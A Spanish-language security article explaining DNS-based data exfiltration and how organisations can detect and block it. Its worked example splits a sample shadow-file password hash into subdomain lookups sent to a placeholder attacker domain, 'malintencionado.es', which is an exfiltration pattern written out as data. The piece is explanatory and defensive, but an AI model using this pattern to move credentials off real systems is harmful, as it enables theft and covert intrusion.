Uno de los problemas con lo que se encuentra un usuario malintencionado (ya sea interno o un atacante externo) cuando obtiene información deseada es cómo sacarla sin que le descubran. En este artículo veremos algunas opciones para extraer esta información usando el servicio DNS, el cuál casi siempre está operativo en casi cualquier sistema.
Extracción de información mediante peticiones DNS
Este sistema de extracción de información parte del supuesto de que un atacante ha conseguido infiltrarse en un sistema y necesita sacar la información obtenida para poder tratarla y utilizarla. Si la información a extraer no es muy grande puede realizar el siguiente montaje:
- El atacante monta en Internet un servidor DNS que publica la información sobre el dominio «malintencionado.es«. Es posible crear una web sencilla para dar apariencia de normalidad.
- Este servidor DNS responderá a todas la peticiones que reciba de forma normal, pero almacenará todos los subdominios solicitados de forma correlativa.
En este punto el usuario malintencionado ya dispone de un servidor DNS accesible públicamente y preparado para almacenar la información. Cuando un equipo realice una solicitud de resolución de nombre el sistema DNS de la corporación comprobará el dominio pedido «malintencionado.es» y entonces realizará una solicitud normal al servidor DNS malintencionado quien la registrará y contestará para pasar desapercibido.
Supongamos que el atacante se ha hecho con el fichero shadow de nuestro sistema Linux que tiene la siguiente información:
oracle:$6$MvOuttAz$5ZUMuRkx8b2kGJ/jQvTszUQz73R1G9wM78kh1SogNRnSNARUtH9YFbRX/E9iSkcokC4Djyo86DDj39Tq5ebw4/:15057:0:99999:7:::
Así pues a nuestro atacante le interesa enviar al exterior el nombre de usuario y el hash de la contraseña almacenado en este fichero. Una vez tenga esta información en su poder podrá intentar atacar este hash, mediante la técnica que prefiera, para obtener la contraseña válida. Veamos cómo se podría realizar esta extracción:
- El servidor infectado solicita las siguientes resoluciones en este mismo orden:
- USER.malintenciado.es
- oracle.malintenciado.es
- HASH.malintenciado.es
- $6$MvOuttAz$5ZUMuRkx8b2kGJ.malintencionado.es
- /jQvTszUQz73R1G9wM78kh1SogNRnSNARUtH9YFbRX.malintencionado.es
- /E9iSkcokC4Djyo86DDj39Tq5ebw4/.malintencionado.es
- EOF.malintencionado.es
- El servidor recompone la información y obtiene los datos enviados:
- USERoracleHASH$6$MvOuttAz$5ZUMuRkx8b2kGJ/jQvTszUQz73R1G9wM78kh1SogNRnSNARUtH9YFbRX/E9iSkcokC4Djyo86DDj39Tq5ebw4/EOF
En este ejemplo se utilizan palabras claves para marcar los diferentes campos enviados ya que, aunque sea posible, será muy difícil que estas palabras claves coincidan dentro del resultado de la función resumen enviada. Con este formato se facilita el tratamiento automatizado en destino.
Defensas ante la extracción de información vía DNS
El primer paso para una coporación es obligar a que todos los servicios internos utilicen el sistema DNS corporativo. No hay razón alguna para que un servidor u ordenador de usuario pueda acceder a DNS externos. Toda conexión a un servidor DNS externo, que no provenga de nuestro propio sistema DNS corporativo, debe ser bloqueada a nivel de firewall.
Los sistemas IDS/IPS podrían detectar un repentino aumento de peticiones de resoluciones de un mismo dominio y generar un evento. Aunque lo más probable es que en estos casos el sistema nos informe de un posible escaneo de un dominio concreto y no de una posible exfiltración de información. Ante la aparición de un evento de estas características los administradores deberían revisar el servidor afectado en busca de la causa de ese supuesto escaneo pudiendo detectar la infiltración y cortarla.
Algunos servidores DNS pueden generar eventos cuando detectan que los tiempos de vida de las resoluciones son muy bajos. Generalmente un dominio de Internet se guarda en caché durante horas, por lo que si un servidor responde que sus dominios sólo deben cachearse durante pocos minutos podría considerarse un comportamiento anómalo (aunque sea perfectamente plausible según el protocolo). Este comportamiento (el reducir los tiempos de almacenamiento temporal) suele formar parte de los ataques DoS a los servidores DNS por lo que es algo que suelen tener en cuenta.
Como vemos la detección de este comportamiento depende en gran medida de la pericia del atacante (de la configuración del servidor DNS malicioso y de su prisa en sacar la información) y, además, los eventos suelen asociarse a otros tipos de ataques por lo que la detección real de este comportamiento es muy difícil.
Limitaciones de esta técnica de exfiltración
Esta técnica de exfiltración es muy lenta comparada con otras más habituales (conexión a webs externas, envío de correos electrónicos, subida a servidores SFTP, etc.) por lo que suele utilizarse cuando las anteriores han fallado. Los nombres de subdominios no pueden ser excesivamente largos ni contener caracteres extraños por lo que se limita la información a enviar. Así pues se trata de una técnica lenta, tanto por la cantidad de información enviada cada vez como para pasar desapercibidos antes los sistemas IDS/IPS.
Cabe indicar que si utilizamos el servicio DNS sobre UDP sería posible la pérdida de un paquete con lo que la información enviada no sería útil. El uso de conexiones TCP elimina este fallo pero facilita la detección de múltiples conexiones por parte de los sistemas de seguridad.